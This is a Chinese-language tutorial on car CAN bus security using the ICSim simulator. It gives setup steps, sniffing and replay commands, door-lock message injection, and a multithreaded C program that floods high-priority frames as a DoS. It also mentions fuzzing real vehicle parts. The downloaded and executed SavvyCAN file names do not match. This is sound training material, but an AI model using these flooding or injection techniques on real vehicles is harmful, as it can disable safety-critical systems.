浅谈车辆CAN总线安全
字数 1600 2025-08-22 12:23:13
车辆CAN总线安全教学文档
1. CAN总线简介
CAN总线(Controller Area Network)是一种广泛应用于汽车、工业控制和其他领域的串行通信协议。由德国Bosch公司于1986年开发,1987年正式发布。
1.1 应用领域
- 汽车电子控制单元(ECU)间通信:引擎控制、刹车系统、仪表盘等
- 工业自动化、机器人技术、医疗设备等分布式控制系统
1.2 总线优势
- 替代传统点对点布线系统,减少线路复杂度
- 降低维护成本
- 提高通信效率
2. CAN总线接入方式
2.1 OBD接口接入
- 位置:通常位于前排乘客或驾驶员座位附近
- 相关引脚:6号(CAN高电平)和14号(CAN低电平)
- 连接工具:专用CAN总线分析工具
2.2 其他接入方式
- 破线接入:通过物理破坏线束接入
- 车内零部件控制:通过已攻克的零部件间接接入
3. 实验环境搭建
3.1 所需工具
- Linux系统(推荐Kali Linux)
- ICSim模拟器
- can-utils工具集
- socketcand
- CAN分析工具(SavvyCAN或Kayak)
3.2 ICSim安装
git clone https://github.com/zombieCraig/ICSim.git
cd ICSim
sudo apt install libsdl2-dev libsdl2-image-dev can-utils maven autoconf -y
sudo make
3.3 can-utils安装
sudo apt-get install can-utils
3.4 socketcand安装
git clone https://github.com/linux-can/socketcand.git
cd socketcand
wget https://raw.githubusercontent.com/dschanoeh/socketcand/master/config.h.in
autoconf
./configure
make clean
make
sudo make install
3.5 SavvyCAN安装
wget https://github.com/collin80/SavvyCAN/releases/download/continuous/SavvyCAN-1999da8-x86_64.AppImage
chmod 777 SavvyCAN-1999da8-x86_64.AppImage
./SavvyCAN-044fea3-x86_64.AppImage
3.6 启动ICSim
./setup_vcan.sh # 初始化虚拟CAN接口
./icsim vcan0 # 启动仪表盘模拟器
./controls vcan0 # 启动控制面板
4. CAN总线基本操作
4.1 控制面板操作
| 功能 | 按键 |
|---|---|
| 加速 | 上方向键 |
| 左转向 | 左方向键 |
| 右转向 | 右方向键 |
| 开/关左前车门锁 | 右/左shift+A |
| 开/关右前车门锁 | 右/左shift+B |
| 开/关左后车门锁 | 右/左shift+X |
| 开/关右后车门锁 | 右/左shift+Y |
| 开启所有车门锁 | 左shift+右shift |
| 关闭所有车门锁 | 右shift+左shift |
4.2 CAN流量监听
4.2.1 使用can-utils
candump -l vcan0 # 记录到文件
candump vcan0 # 实时显示
数据格式:(时间戳) 接口 仲裁ID#数据
4.2.2 使用cansniffer
cansniffer -c vcan0
变化的数据会以红色显示
4.2.3 使用Wireshark
直接监听vcan0接口
4.2.4 使用SavvyCAN
- Connection -> Open Connection Window
- Add New Device Connection
- 选择QT SerialBus Devices
- SerialBus Devices选择socketcan
- Port选择vcan0
4.3 CAN流量重放
canplayer -I 日志文件.log
4.4 消息逆向
通过观察法确定仲裁ID对应功能:
- 在SavvyCAN中观察所有活跃ID
- 执行特定操作(如踩油门)
- 观察哪些ID的数据随之变化
- 重复操作缩小范围,确定具体ID
4.5 发送CAN消息
cansend vcan0 244#0000003894
持续发送示例(Python):
import os
import time
while True:
os.system("cansend vcan0 244#0000003894")
time.sleep(1)
5. CAN总线攻击技术
5.1 DOS攻击原理
利用CAN总线基于优先级的仲裁机制,通过发送高优先级消息使其他消息无法响应
5.2 手动DOS攻击
- 确定低优先级操作:
cansend vcan0 19B#00000E000000 # 开车门
cansend vcan0 19B#00000F000000 # 关车门
- 发送高优先级消息干扰:
cansend vcan0 188#01000000 # 左转向灯(高优先级)
5.3 多线程DOS攻击(C语言)
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
void *send_message(void *arg) {
while(1) {
system("cansend vcan0 188#01000000");
}
return NULL;
}
int main() {
pthread_t threads[100];
for(int i = 0; i < 100; i++) {
pthread_create(&threads[i], NULL, send_message, NULL);
}
while(1) {
sleep(1);
}
return 0;
}
编译运行:
gcc -o attack main.c -pthread
./attack
5.4 FUZZ攻击
通过发送特定CAN数据帧使车内零部件崩溃或发出警报:
- 需要实际接入车辆测试
- 不断修改数据帧进行测试
- 观察系统反应
6. 防御措施
- CAN总线入侵检测系统
- 消息认证机制
- 加密通信
- 防火墙隔离关键ECU
- 速率限制和异常检测
7. 参考资源
本教学文档详细介绍了CAN总线的基本概念、实验环境搭建、基本操作和安全测试技术,涵盖了从入门到实战的完整内容。通过ICSim模拟器,安全研究人员可以在不接触真实车辆的情况下学习和实践CAN总线安全技术。